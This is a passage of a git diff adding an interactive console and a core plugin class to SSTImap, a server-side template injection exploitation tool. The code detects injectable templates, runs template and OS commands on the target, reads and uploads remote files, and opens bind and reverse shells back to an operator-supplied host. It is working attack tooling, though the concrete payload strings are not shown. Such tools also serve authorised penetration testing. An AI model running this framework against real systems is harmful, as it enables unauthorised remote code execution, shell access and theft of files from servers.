+
+ do_headers = do_header
+
+ def do_cookie(self, line):
+ """Modify cookies"""
+ if line == "":
+ log.log(24, f'Clearing all cookies...')
+ self.sstimap_options["cookies"] = []
+ return
+ command = line.split(" ", 1)
+ if (command[0] == "remove" or command[0] == "rm") and len(command) == 2 and command[1] != "":
+ log.log(24, f'Removing cookies starting with {command[1]}:')
+ for cookie in self.sstimap_options["cookies"].copy():
+ if cookie.startswith(command[1]):
+ log.log(26, f'Removing: {cookie}')
+ self.sstimap_options["cookies"].remove(cookie)
+ else:
+ log.log(24, f'Adding cookie: {line}')
+ self.sstimap_options["cookies"].append(line)
+
+ do_cookies = do_cookie
+
+ def do_http_method(self, line):
+ """Set HTTP method"""
+ if line == '':
+ log.log(22, 'HTTP method cannot be empty.')
+ return
+ line = line.upper()
+ log.log(24, f'HTTP method is set to {line}')
+ self.sstimap_options["method"] = line
+
+ do_method = do_http_method
+
+ def do_user_agent(self, line):
+ """Set User-Agent"""
+ if line == '':
+ log.log(22, 'User-Agent cannot be empty.')
+ return
+ log.log(24, f'User-Agent is set to {line}')
+ self.sstimap_options["user_agent"] = line
+
+ do_agent = do_user_agent
+
+ def do_random_agent(self, line):
+ """Switch random_user_agent option"""
+ overwrite = not self.sstimap_options["random_agent"]
+ log.log(24, f'Value of \'random_user_agent\' is set to {overwrite}')
+ self.sstimap_options["random_agent"] = overwrite
+
+ do_random = do_random_agent
+
+ def do_proxy(self, line):
+ """Use proxy"""
+ if line == "":
+ log.log(24, f'Disabling proxy...')
+ self.sstimap_options["proxy"] = None
+ return
+ log.log(24, f'Setting proxy to {line}')
+ self.sstimap_options["proxy"] = line
+
+ def do_verify_ssl(self, line):
+ """Switch verify_ssl option"""
+ overwrite = not self.sstimap_options["verify_ssl"]
+ log.log(24, f'Value of \'verify_ssl\' is set to {overwrite}')
+ self.sstimap_options["verify_ssl"] = overwrite
+
+ do_ssl = do_verify_ssl
+
+# Detection commands
+
+ def do_level(self, line):
+ """Set LEVEL to check for escapes"""
+ if line == '' or not line.isnumeric() or len(line) > 1:
+ log.log(22, 'Invalid LEVEL value.')
+ return
+ level = int(line)
+ log.log(24, f'Escaping level is set to {level}')
+ self.sstimap_options["level"] = level
+
+ do_lvl = do_level
+
+ def do_force_level(self, line):
+ """Force LEVEL and CLEVEL to check"""
+ if line == "":
+ log.log(24, f'Disabling forced template escaping level and language context level')
+ self.sstimap_options["force_level"] = None
+ return
+ line = line.split(" ")
+ if len(line) != 2 or not line[0].isnumeric() or len(line[0]) > 1 or not line[1].isnumeric() or len(line[1]) > 1:
+ log.log(22, 'Invalid LEVEL or CLEVEL value.')
+ return
+ force_level = (int(line[0]), int(line[1]),)
+ log.log(24, f'Forcing template escaping level {force_level[0]} and language context level {force_level[1]}')
+ self.sstimap_options["force_level"] = force_level
+
+ do_force = do_force_level
+
+ def do_engine(self, line):
+ """Set template ENGINE to check"""
+ if line.lower() in ['', '*', 'all']:
+ line = None
+ log.log(24, f'Template engine is set to {line if line else "*"}')
+ self.sstimap_options["engine"] = line
+
+ def do_technique(self, line):
+ """Set attack TECHNIQUE to check"""
+ line = line.upper()
+ if line not in ["R", "T", "RT", "TR"]:
+ log.log(22, 'Invalid TECHNIQUE value. It should be \'R\', \'T\' or \'RT\'.')
+ return
+ log.log(24, f'Attack technique is set to {line}')
+ self.sstimap_options["technique"] = line
+
+ def do_legacy(self, line):
+ """Switch legacy option"""
+ overwrite = not self.sstimap_options["legacy"]
+ log.log(24, f'Value of \'legacy\' is set to {overwrite}')
+ self.sstimap_options["legacy"] = overwrite
+
+# Exploitation commands
+
+ def do_tpl_shell(self, line):
+ """Provide interactive multi-line template shell"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ if self.channel.data.get('engine'):
+ if self.channel.data.get('blind'):
+ log.log(23, 'Only blind execution has been found. '
+ 'Injected template code will not produce any output.')
+ call = self.current_plugin.inject
+ else:
+ call = self.current_plugin.render
+ log.log(21, 'Inject multi-line template code. Press ctrl-D or type \'EOF\' on a new line to send the lines')
+ try:
+ MultilineShell(call, f"{self.channel.data.get('engine', '')} > ").cmdloop()
+ except (KeyboardInterrupt, EOFError):
+ print()
+ log.log(26, 'Exiting template shell')
+ else:
+ log.log(22, 'No code evaluation capabilities have been detected on the target')
+
+ do_tpl = do_tpl_shell
+
+ def do_tpl_code(self, line):
+ """Evaluate single template command"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ if line == '':
+ log.log(22, 'Template command cannot be empty.')
+ return
+ if self.channel.data.get('engine'):
+ if self.channel.data.get('blind'):
+ log.log(23, 'Only blind execution has been found. '
+ 'Injected template code will not produce any output.')
+ call = self.current_plugin.inject
+ else:
+ call = self.current_plugin.render
+ try:
+ print(call(line))
+ except (KeyboardInterrupt, EOFError):
+ log.log(26, 'Exiting template command execution')
+ else:
+ log.log(22, 'No template code evaluation capabilities have been detected on the target')
+
+ def do_eval_shell(self, line):
+ """Provide interactive multi-line template base language shell"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ if self.channel.data.get('evaluate_blind'):
+ log.log(23, 'Only blind execution has been found. '
+ 'Injected template code will not produce any output.')
+ log.log(21, 'Inject multi-line template base language code. '
+ 'Press ctrl-D or type \'EOF\' on a new line to send the lines')
+ try:
+ MultilineShell(self.current_plugin.evaluate_blind, f"{self.channel.data.get('language', '')} > ").cmdloop()
+ except (KeyboardInterrupt, EOFError):
+ print()
+ log.log(26, 'Exiting template base language shell')
+ elif self.channel.data.get('evaluate'):
+ log.log(21, 'Inject multi-line template base language code. '
+ 'Press ctrl-D or type \'EOF\' on a new line to send the lines')
+ try:
+ MultilineShell(self.current_plugin.evaluate, f"{self.channel.data.get('language', '')} > ").cmdloop()
+ except (KeyboardInterrupt, EOFError):
+ print()
+ log.log(26, 'Exiting template base language shell')
+ else:
+ log.log(22, 'No language code evaluation capabilities have been detected on the target')
+
+ do_eval = do_eval_shell
+
+ def do_eval_code(self, line):
+ """Evaluate single template command"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ if line == '':
+ log.log(22, 'Language command cannot be empty.')
+ return
+ if self.channel.data.get('evaluate_blind'):
+ log.log(23, 'Only blind execution has been found. '
+ 'Injected code will not produce any output.')
+ try:
+ print(self.current_plugin.evaluate_blind(line))
+ except (KeyboardInterrupt, EOFError):
+ log.log(26, 'Exiting language command execution')
+ elif self.channel.data.get('evaluate'):
+ try:
+ print(self.current_plugin.evaluate(line))
+ except (KeyboardInterrupt, EOFError):
+ log.log(26, 'Exiting language command execution')
+ else:
+ log.log(22, 'No code evaluation capabilities have been detected on the target')
+
+ def do_os_shell(self, line):
+ """Provide interactive OS shell"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ if self.channel.data.get('execute_blind'):
+ log.log(23, """Blind injection has been found and command execution will not produce any output.""")
+ log.log(26, 'Delay is introduced appending \'&& sleep \' to the shell commands. '
+ 'True or False is returned whether it returns successfully or not.')
+ log.log(21, 'Run commands on the operating system.')
+ try:
+ Shell(self.current_plugin.execute_blind, f"{self.channel.data.get('os', 'undetected')} (blind) $ ").cmdloop()
+ except (KeyboardInterrupt, EOFError):
+ print()
+ log.log(26, 'Exiting OS shell')
+ elif self.channel.data.get('execute'):
+ log.log(21, 'Run commands on the operating system.')
+ try:
+ Shell(self.current_plugin.execute, f"{self.channel.data.get('os', 'undetected')} $ ").cmdloop()
+ except (KeyboardInterrupt, EOFError):
+ print()
+ log.log(26, 'Exiting OS shell')
+ else:
+ log.log(22, 'No system command execution capabilities have been detected on the target.')
+
+ do_shell = do_os_shell
+ do_os = do_os_shell
+
+ def do_os_cmd(self, line):
+ """Execute single OS command"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ if line == '':
+ log.log(22, 'OS command cannot be empty.')
+ return
+ if self.channel.data.get('execute_blind'):
+ log.log(23, """Blind injection has been found and command execution will not produce any output.""")
+ log.log(26, 'Delay is introduced appending \'&& sleep \' to the shell commands. '
+ 'True or False is returned whether it returns successfully or not.')
+ try:
+ print(self.current_plugin.execute_blind(line))
+ except (KeyboardInterrupt, EOFError):
+ log.log(26, 'Exiting OS command execution')
+ elif self.channel.data.get('execute'):
+ try:
+ print(self.current_plugin.execute(line))
+ except (KeyboardInterrupt, EOFError):
+ log.log(26, 'Exiting OS command execution')
+ else:
+ log.log(22, 'No system command execution capabilities have been detected on the target.')
+
+ def do_bind_shell(self, line):
+ """Create bind shell on PORT"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ if line == '' or not line.isnumeric():
+ log.log(22, 'Invalid PORT supplied for bind shell.')
+ return
+ port = int(line)
+ if self.channel.data.get('bind_shell'):
+ url = parse.urlparse(self.channel.base_url)
+ if not url.hostname:
+ log.log(22, "Error parsing hostname")
+ return
+ for idx, thread in enumerate(self.current_plugin.bind_shell(port)):
+ log.log(26, f'Spawn a shell on remote port {port} with payload {idx+1}')
+ thread.join(timeout=1)
+ if not thread.is_alive():
+ continue
+ try:
+ telnetlib.Telnet(url.hostname.decode(), port, timeout=5).interact()
+ return
+ except Exception as e:
+ log.debug(f"Error connecting to {url.hostname}:{port} {e}")
+ else:
+ log.log(22, 'No TCP shell opening capabilities have been detected on the target')
+
+ def do_reverse_shell(self, line):
+ """Send reverse shell to HOST:PORT"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ dest = line.split(" ")
+ if len(dest) != 2 or '' in dest:
+ log.log(22, 'You must supply HOST and PORT for a reverse shell.')
+ return
+ host, port = dest
+ if not port.isnumeric():
+ log.log(22, 'Invalid PORT supplied for reverse shell.')
+ return
+ timeout = 15
+ if self.channel.data.get('reverse_shell'):
+ self.current_plugin.reverse_shell(host, port)
+ try:
+ TcpServer(int(port), timeout)
+ except socket.timeout:
+ log.log(22, f"No incoming TCP shells after {timeout}s, quitting.")
+ else:
+ log.log(22, 'No reverse TCP shell capabilities have been detected on the target')
+
+ do_bind = do_bind_shell
+ do_reverse = do_reverse_shell
+
+ def do_force_overwrite(self, line):
+ """Switch forсe_overwrite option"""
+ overwrite = not self.sstimap_options["force_overwrite"]
+ log.log(24, f'Value of \'force_overwrite\' is set to {overwrite}')
+ self.sstimap_options["force_overwrite"] = overwrite
+
+ do_overwrite = do_force_overwrite
+
+ def do_upload(self, line):
+ """Upload LOCAL to REMOTE file"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ paths = line.split(" ")
+ if len(paths) != 2 or '' in paths:
+ log.log(22, 'You must supply LOCAL and REMOTE paths for upload.')
+ return
+ if self.channel.data.get('write'):
+ local_path, remote_path = paths
+ with open(local_path, 'rb') as f:
+ data = f.read()
+ self.current_plugin.write(data, remote_path)
+ else:
+ log.log(22, 'No file upload capabilities have been detected on the target')
+
+ def do_download(self, line):
+ """Download REMOTE to LOCAL file"""
+ if not self.checked:
+ log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.')
+ return
+ paths = line.split(" ")
+ if len(paths) != 2 or '' in paths:
+ log.log(22, 'You must supply REMOTE and LOCAL paths for download.')
+ return
+ if self.channel.data.get('read'):
+ remote_path, local_path = paths
+ content = self.current_plugin.read(remote_path)
+ with open(local_path, 'wb') as f:
+ f.write(content)
+ else:
+ log.log(22, 'No file download capabilities have been detected on the target')
+
+ do_up = do_upload
+ do_down = do_download
diff --git a/core/plugin.py b/core/plugin.py
new file mode 100644
index 0000000..a8d4a0d
--- /dev/null
+++ b/core/plugin.py
@@ -0,0 +1,544 @@
+from utils.strings import chunk_seq, md5
+from utils import rand
+from utils.loggers import log
+import re
+import itertools
+import base64
+import collections
+import threading
+import time
+import utils.config
+
+
+def _recursive_update(d, u):
+ # Update value of a nested dictionary of varying depth
+ for k, v in u.items():
+ if isinstance(d, collections.abc.Mapping):
+ if isinstance(v, collections.abc.Mapping):
+ r = _recursive_update(d.get(k, {}), v)
+ d[k] = r
+ else:
+ d[k] = u[k]
+ else:
+ d = {k: u[k]}
+ return d
+
+
+def compatible_url_safe_base64_encode(code):
+ code_b64 = code.encode(encoding='UTF-8')
+ code_b64 = base64.urlsafe_b64encode(code_b64).decode(encoding='UTF-8')
+ return code_b64
+
+
+class Plugin(object):
+ def __init__(self, channel):
+ # HTTP channel
+ self.channel = channel
+ # Plugin name
+ self.plugin = self.__class__.__name__
+ # Collect the HTTP response time into a deque to be used to
+ # tune the average response time for blind values.
+ # Estimate 0.5s for a safe start.
+ self.render_req_tm = collections.deque([0.5], maxlen=5)
+ # The delay fortime-based blind injection. This will be added
+ # to the average response time for render values.
+ self.tm_delay = utils.config.time_based_blind_delay
+ # Declare object attributes
+ self.actions = {}
+ self.contexts = []
+ # Call user-defined inits
+ self.language_init()
+ self.init()
+
+ def language_init(self):
+ # To be overridden. This can call self.update_actions
+ # and self.set_contexts
+ pass
+
+ def init(self):
+ # To be overridden. This can call self.update_actions
+ # and self.set_contexts
+ pass
+
+ def rendered_detected(self):
+ action_evaluate = self.actions.get('evaluate', {})
+ test_os_code = action_evaluate.get('test_os')
+ test_os_code_expected = action_evaluate.get('test_os_expected')
+ if test_os_code and test_os_code_expected:
+ os = self.evaluate(test_os_code)
+ if os and re.search(test_os_code_expected, os):
+ self.set('os', os)
+ self.set('evaluate', self.language)
+ self.set('write', True)
+ self.set('read', True)
+ action_execute = self.actions.get('execute', {})
+ test_cmd_code = action_execute.get('test_cmd')
+ test_cmd_code_expected = action_execute.get('test_cmd_expected')
+ if test_cmd_code and test_cmd_code_expected and test_cmd_code_expected == self.execute(test_cmd_code):
+ self.set('execute', True)
+ self.set('bind_shell', True)
+ self.set('reverse_shell', True)
+
+ def blind_detected(self):
+ # Blind has been detected so code has been already evaluated
+ self.set('evaluate_blind', self.language)
+ test_cmd_code = self.actions.get('execute', {}).get('test_cmd')
+ if test_cmd_code and self.execute_blind(test_cmd_code):
+ self.set('execute_blind', True)
+ self.set('write', True)
+ self.set('bind_shell', True)
+ self.set('reverse_shell', True)
+
+ def detect(self):
+ # Get user-provided techniques
+ techniques = self.channel.args.get('technique')
+ # Render technique
+ if 'R' in techniques:
+ # Start detection
+ self._detect_render()
+ # If render is not set, check unreliable render
+ if self.get('render') is None:
+ self._detect_unreliable_render()
+ # Else, print and execute rendered_detected()
+ else:
+ # If here, the rendering is confirmed
+ prefix = self.get('prefix', '')
+ render = self.get('render', '{code}').format(code='*')
+ suffix = self.get('suffix', '')
+ log.log(24, f'''{self.plugin} plugin has confirmed injection with tag \'{repr(prefix).strip("'")}{repr(render).strip("'")}{repr(suffix).strip("'")}\'''')
+ # Clean up any previous unreliable render data
+ self.delete('unreliable_render')
+ self.delete('unreliable')
+ # Set basic info
+ self.set('engine', self.plugin.lower())
+ self.set('language', self.language)
+ # Set the environment
+ self.rendered_detected()
+
+ # Time-based blind technique
+ if 'T' in techniques:
+ # Manage blind injection only if render detection has failed
+ if not self.get('engine'):
+ self._detect_blind()
+ if self.get('blind'):
+ log.log(24, f'{self.plugin} plugin has confirmed blind injection')
+ # Clean up any previous unreliable render data
+ self.delete('unreliable_render')
+ self.delete('unreliable')
+ # Set basic info
+ self.set('engine', self.plugin.lower())
+ self.set('language', self.language)
+ # Set the environment
+ self.blind_detected()
+
+ def _generate_contexts(self):
+ # Loop all the contexts
+ for ctx in self.contexts:
+ # If --force-level skip any other level
+ force_level = self.channel.args.get('force_level')
+ if force_level and force_level[0] is not None and ctx.get('level') != int(force_level[0]):
+ continue
+ # Skip any context which is above the required level
+ if not force_level and ctx.get('level') > self.channel.args.get('level'):
+ continue
+ # The suffix is fixed
+ suffix = ctx.get('suffix', '')
+ # If the context has no closures, generate one closure with a zero-length string
+ if ctx.get('closures'):
+ closures = self._generate_closures(ctx)
+ log.log(26, f'''{self.plugin} plugin is testing {repr(ctx.get('prefix', '{closure}').format(closure='')).strip("'")}*{repr(suffix).strip("'")} code context escape with {len(closures)} variations{f' (level {ctx.get("level", 1)})' if self.get('level') else ''}''')
+ else:
+ closures = ['']
+ for closure in closures:
+ # Format the prefix with closure
+ prefix = ctx.get('prefix', '{closure}').format(closure=closure)
+ yield prefix, suffix
+
+ """
+ Detection of unreliable rendering tag with no header and trailer.
+ """
+ def _detect_unreliable_render(self):
+ render_action = self.actions.get('render')
+ if not render_action:
+ return
+ # Print what it's going to be tested
+ log.debug(f'{self.plugin} plugin is testing unreliable rendering on text context')
+ # Prepare base operation to be evaluated server-side
+ expected = render_action.get('test_render_expected')
+ payload = render_action.get('test_render')
+ # Probe with payload wrapped by header and trailer, no suffix or prefix.
+ # Test if contained, since the page contains other garbage
+ if expected in self.render(code=payload, header='', trailer='', header_rand=0,
+ trailer_rand=0, prefix='', suffix=''):
+ # Print if the first found unreliable render
+ if not self.get('unreliable_render'):
+ log.log(25, f"{self.plugin} plugin has detected unreliable rendering with tag "
+ f"{repr(render_action.get('render').format(code='*'))}, skipping")
+ self.set('unreliable_render', render_action.get('render'))
+ self.set('unreliable', self.plugin)
+ return
+
+ """
+ Detection of the rendering tag and context.
+ """
+ def _detect_blind(self):
+ action = self.actions.get('blind', {})
+ payload_true = action.get('test_bool_true')
+ payload_false = action.get('test_bool_false')
+ call_name = action.get('call', 'inject')
+ # Skip if something is missing or call function is not set
+ if not action or not payload_true or not payload_false or not call_name or not hasattr(self, call_name):
+ return
+ # Print what it's going to be tested
+ log.log(23, f'{self.plugin} plugin is testing blind injection')
+ for prefix, suffix in self._generate_contexts():
+ # Conduct a true-false test
+ if not getattr(self, call_name)(code=payload_true, prefix=prefix, suffix=suffix, blind=True):
+ continue
+ detail = {'blind_true': self._inject_verbose}
+ if getattr(self, call_name)(code=payload_false, prefix=prefix, suffix=suffix, blind=True):
+ continue
+ detail['blind_false'] = self._inject_verbose
+ detail['average'] = sum(self.render_req_tm) / len(self.render_req_tm)
+ # We can assume here blind is true
+ self.set('blind', True)
+ self.set('prefix', prefix)
+ self.set('suffix', suffix)
+ self.channel.detected('blind', detail)
+ return
+
+ """
+ Detection of the rendering tag and context.
+ """
+ def _detect_render(self):
+ render_action = self.actions.get('render')
+ if not render_action:
+ return
+ # Print what it's going to be tested
+ log.log(23, f"{self.plugin} plugin is testing rendering with tag "
+ f"{repr(render_action.get('render').format(code='*' ))}")
+ for prefix, suffix in self._generate_contexts():
+ # Prepare base operation to be evaluated server-side
+ expected = render_action.get('test_render_expected')
+ payload = render_action.get('test_render')
+ header_rand = rand.randint_n(10)
+ header = render_action.get('header') # .format(header=header_rand)
+ trailer_rand = rand.randint_n(10)
+ trailer = render_action.get('trailer') # .format(trailer=trailer_rand)
+ # First probe with payload wrapped by header and trailer, no suffix or prefix
+ if expected == self.render(code=payload, header=header, trailer=trailer, header_rand=header_rand,
+ trailer_rand=trailer_rand, prefix=prefix, suffix=suffix):
+ self.set('render', render_action.get('render'))
+ self.set('header', render_action.get('header'))
+ self.set('trailer', render_action.get('trailer'))
+ self.set('prefix', prefix)
+ self.set('suffix', suffix)
+ self.channel.detected('render', {'expected': expected})
+ return
+
+ """
+ Raw inject of the payload.
+ """
+ def inject(self, code, **kwargs):
+ prefix = kwargs.get('prefix', self.get('prefix', ''))
+ suffix = kwargs.get('suffix', self.get('suffix', ''))
+ blind = kwargs.get('blind', False)
+ injection = prefix + code + suffix
+ log.debug(f'[request {self.plugin}] {repr(self.channel.url)}')
+ # If the request is blind
+ if blind:
+ expected_delay = self._get_expected_delay()
+ start = int(time.time())
+ self.channel.req(injection)
+ end = int(time.time())
+ delta = end - start
+ result = delta >= expected_delay
+ log.debug(f'[blind {self.plugin}] code above took {str(delta)} ({str(end)}-{str(start)}). '
+ f'{str(expected_delay)} is the threshold, returning {str(result)}')
+ self._inject_verbose = {'result': result, 'payload': injection, 'expected_delay': expected_delay,
+ 'start': start, 'end': end}
+ return result
+ else:
+ start = int(time.time())
+ result = self.channel.req(injection)
+ end = int(time.time())
+ # Append the execution time to a buffer
+ delta = end - start
+ self.render_req_tm.append(delta)
+ return result.strip() if result else result
+
+ """
+ Inject the rendered payload and get the result.
+
+ The request is composed by parameters from:
+
+ - Already rendered passed **kwargs, or
+ - self.get() to be rendered, or
+ - self.actions.get() to be rendered
+
+ """
+ def render(self, code, **kwargs):
+ # If header == '', do not send headers
+ header_template = kwargs.get('header')
+ if header_template != '':
+ header_template = kwargs.get('header', self.get('header'))
+ if not header_template:
+ header_template = self.actions.get('render', {}).get('header')
+ if header_template:
+ header_rand = kwargs.get('header_rand', self.get('header_rand', rand.randint_n(10)))
+ header = header_template.format(header=header_rand)
+ else:
+ header_rand = 0
+ header = ''
+ # If trailer == '', do not send headers
+ trailer_template = kwargs.get('trailer')
+ if trailer_template != '':
+ trailer_template = kwargs.get('trailer', self.get('trailer'))
+ if not trailer_template:
+ trailer_template = self.actions.get('render', {}).get('trailer')
+ if trailer_template:
+ trailer_rand = kwargs.get('trailer_rand', self.get('trailer_rand', rand.randint_n(10)))
+ trailer = trailer_template.format(trailer=trailer_rand)
+ else:
+ trailer_rand = 0
+ trailer = ''
+ payload_template = kwargs.get('render', self.get('render'))
+ if not payload_template:
+ payload_template = self.actions.get('render', {}).get('render')
+ if not payload_template:
+ # Exiting, actions.render.render is not set
+ return
+ payload = payload_template.format(code=code)
+ prefix = kwargs.get('prefix', self.get('prefix', ''))
+ suffix = kwargs.get('suffix', self.get('suffix', ''))
+ blind = kwargs.get('blind', False)
+ injection = header + payload + trailer
+ # Save the average HTTP request time of rendering in order
+ # to better tone the blind request timeouts.
+ result_raw = self.inject(code=injection, prefix=prefix, suffix=suffix, blind=blind)
+ if blind:
+ return result_raw
+ else:
+ result = ''
+ # Return result_raw if header and trailer are not specified
+ if not header and not trailer:
+ return result_raw
+ # Cut the result using the header and trailer if specified
+ if header:
+ before, _, result_after = result_raw.partition(str(header_rand))
+ if trailer and result_after:
+ result, _, after = result_after.partition(str(trailer_rand))
+ return result.strip() if result else result
+
+ def set(self, key, value):
+ self.channel.data[key] = value
+
+ def get(self, key, default=None):
+ return self.channel.data.get(key, default)
+
+ def delete(self, key):
+ if key in self.channel.data:
+ del self.channel.data[key]
+
+ def _generate_closures(self, ctx):
+ closures_dict = ctx.get('closures', {'0': []})
+ closures = []
+ # Loop all the closure names
+ for ctx_closure_level, ctx_closure_matrix in closures_dict.items():
+ # If --force-level skip any other level
+ force_level = self.channel.args.get('force_level')
+ if force_level and force_level[1] and ctx_closure_level != int(force_level[1]):
+ continue
+ # Skip any closure list which is above the required level
+ if not force_level and ctx_closure_level > self.channel.args.get('level'):
+ continue
+ closures += [''.join(x) for x in itertools.product(*ctx_closure_matrix)]
+ closures = sorted(set(closures), key=len)
+ # Return it
+ return closures
+
+ """ Overridable function to get MD5 hash of remote files. """
+ def md5(self, remote_path):
+ action = self.actions.get('md5', {})
+ payload = action.get('md5')
+ call_name = action.get('call', 'render')
+ # Skip if something is missing or call function is not set
+ if not action or not payload or not call_name or not hasattr(self, call_name):
+ return
+ execution_code = payload.format(path=remote_path)
+ result = getattr(self, call_name)(code=execution_code)
+ # Check md5 result format
+ if re.match(r"([a-fA-F\d]{32})", result):
+ return result
+ else:
+ return None
+
+ """ Overridable function to detect read capabilities. """
+ def detect_read(self):
+ # Assume read capabilities only if evaluation
+ # has been already detected and if self.actions['read'] exits
+ if not self.get('evaluate') or not self.actions.get('read'):
+ return
+ self.set('read', True)
+
+ """ Overridable function to read remote files. """
+ def read(self, remote_path):
+ action = self.actions.get('read', {})
+ payload = action.get('read')
+ call_name = action.get('call', 'render')
+ # Skip if something is missing or call function is not set
+ if not action or not payload or not call_name or not hasattr(self, call_name):
+ return
+ # Get remote file md5
+ md5_remote = self.md5(remote_path)
+ if not md5_remote:
+ log.log(25, 'Error getting remote file md5, check presence and permission')
+ return
+ execution_code = payload.format(path=remote_path)
+ data_b64encoded = getattr(self, call_name)(code=execution_code)
+ data = base64.b64decode(data_b64encoded)
+ if not md5(data) == md5_remote:
+ log.log(25, 'Remote file md5 mismatch, check manually')
+ else:
+ log.log(21, 'File downloaded correctly')
+ return data
+
+ def write(self, data, remote_path):
+ action = self.actions.get('write', {})
+ payload_write = action.get('write')
+ payload_truncate = action.get('truncate')
+ call_name = action.get('call', 'inject')
+ # Skip if something is missing or call function is not set
+ if not action or not payload_write or not payload_truncate or not call_name or not hasattr(self, call_name):
+ return
+ # Check existence and overwrite with --force-overwrite
+ if self.get('blind') or self.md5(remote_path):
+ if not self.channel.args.get('force_overwrite'):
+ if self.get('blind'):
+ log.log(25, 'Blind upload might overwrite files, run with --force-overwrite to continue')
+ else:
+ log.log(25, 'Remote file already exists, run with --force-overwrite to overwrite')
+ return
+ else:
+ execution_code = payload_truncate.format(path=remote_path)
+ getattr(self, call_name)(code=execution_code)
+ # Upload file in chunks of 500 characters
+ for chunk in chunk_seq(data, 500):
+ log.debug(f'[b64 encoding] {chunk}')
+ chunk_b64 = base64.urlsafe_b64encode(chunk)
+ execution_code = payload_write.format(path=remote_path, chunk_b64=chunk_b64)
+ getattr(self, call_name)(code=execution_code)
+ if self.get('blind'):
+ log.log(25, 'Blind upload can\'t check the upload correctness, check manually')
+ elif not md5(data) == self.md5(remote_path):
+ log.log(25, 'Remote file md5 mismatch, check manually')
+ else:
+ log.log(21, 'File uploaded correctly')
+
+ def evaluate(self, code, **kwargs):
+ prefix = kwargs.get('prefix', self.get('prefix', ''))
+ suffix = kwargs.get('suffix', self.get('suffix', ''))
+ blind = kwargs.get('blind', False)
+ action = self.actions.get('evaluate', {})
+ payload = action.get('evaluate')
+ call_name = action.get('call', 'render')
+ # Skip if something is missing or call function is not set
+ if not action or not payload or not call_name or not hasattr(self, call_name):
+ return
+ if '{code_b64}' in payload:
+ log.debug(f'[b64 encoding] {code}')
+ execution_code = payload.format(code_b64=compatible_url_safe_base64_encode(code), code=code)
+ return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=blind)
+
+ def execute(self, code, **kwargs):
+ prefix = kwargs.get('prefix', self.get('prefix', ''))
+ suffix = kwargs.get('suffix', self.get('suffix', ''))
+ blind = kwargs.get('blind', False)
+ action = self.actions.get('execute', {})
+ payload = action.get('execute')
+ call_name = action.get('call', 'render')
+ # Skip if something is missing or call function is not set
+ if not action or not payload or not call_name or not hasattr(self, call_name):
+ return
+ if '{code_b64}' in payload:
+ log.debug(f'[b64 encoding] {code}')
+ execution_code = payload.format(code_b64=compatible_url_safe_base64_encode(code), code=code)
+ result = getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=blind)
+ return result.replace('\\n', '\n') if type(result) == str else result
+
+ def evaluate_blind(self, code, **kwargs):
+ prefix = kwargs.get('prefix', self.get('prefix', ''))
+ suffix = kwargs.get('suffix', self.get('suffix', ''))
+ blind = kwargs.get('blind', False)
+ action = self.actions.get('evaluate_blind', {})
+ payload_action = action.get('evaluate_blind')
+ call_name = action.get('call', 'inject')
+ # Skip if something is missing or call function is not set
+ if not action or not payload_action or not call_name or not hasattr(self, call_name):
+ return
+ expected_delay = self._get_expected_delay()
+ if '{code_b64}' in payload_action:
+ log.debug(f'[b64 encoding] {code}')
+ execution_code = payload_action.format(code_b64=compatible_url_safe_base64_encode(code),
+ code=code, delay=expected_delay)
+ return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=True)
+
+ def execute_blind(self, code, **kwargs):
+ prefix = kwargs.get('prefix', self.get('prefix', ''))
+ suffix = kwargs.get('suffix', self.get('suffix', ''))
+ blind = kwargs.get('blind', False)
+ action = self.actions.get('execute_blind', {})
+ payload_action = action.get('execute_blind')
+ call_name = action.get('call', 'inject')
+ # Skip if something is missing or call function is not set
+ if not action or not payload_action or not call_name or not hasattr(self, call_name):
+ return
+ expected_delay = self._get_expected_delay()
+ if '{code_b64}' in payload_action:
+ log.debug(f'[b64 encoding] {code}')
+ execution_code = payload_action.format(code_b64=compatible_url_safe_base64_encode(code),
+ code=code, delay=expected_delay)
+ return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=True)
+
+ def _get_expected_delay(self):
+ # Get current average timing for render() HTTP requests
+ average = int(sum(self.render_req_tm) / len(self.render_req_tm))
+ # Set delay to 2 second over the average timing
+ return average + self.tm_delay
+
+ def bind_shell(self, port, shell="/bin/sh"):
+ action = self.actions.get('bind_shell', {})
+ payload_actions = action.get('bind_shell')
+ call_name = action.get('call', 'inject')
+ # Skip if something is missing or call function is not set
+ if not action or not isinstance(payload_actions, list) or not call_name or not hasattr(self, call_name):
+ return
+ for payload_action in payload_actions:
+ execution_code = payload_action.format(port=port, shell=shell)
+ reqthread = threading.Thread(target=getattr(self, call_name), args=(execution_code,))
+ reqthread.start()
+ yield reqthread
+
+ def reverse_shell(self, host, port, shell="/bin/sh"):
+ action = self.actions.get('reverse_shell', {})
+ payload_actions = action.get('reverse_shell')
+ call_name = action.get('call', 'inject')
+ # Skip if something is missing or call function is not set
+ if not action or not isinstance(payload_actions, list) or not call_name or not hasattr(self, call_name):
+ return
+ for payload_action in payload_actions:
+ execution_code = payload_action.format(port=port, shell=shell, host=host)
+ reqthread = threading.Thread(target=getattr(self, call_name), args=(execution_code,))
+ reqthread.start()
+
+ def update_actions(self, actions):
+ # Recursively update actions on the instance
+ self.actions = _recursive_update(self.actions, actions)
+
+ def set_actions(self, actions):
+ # Set actions on the instance
+ self.actions = actions
+
+ def set_contexts(self, contexts):
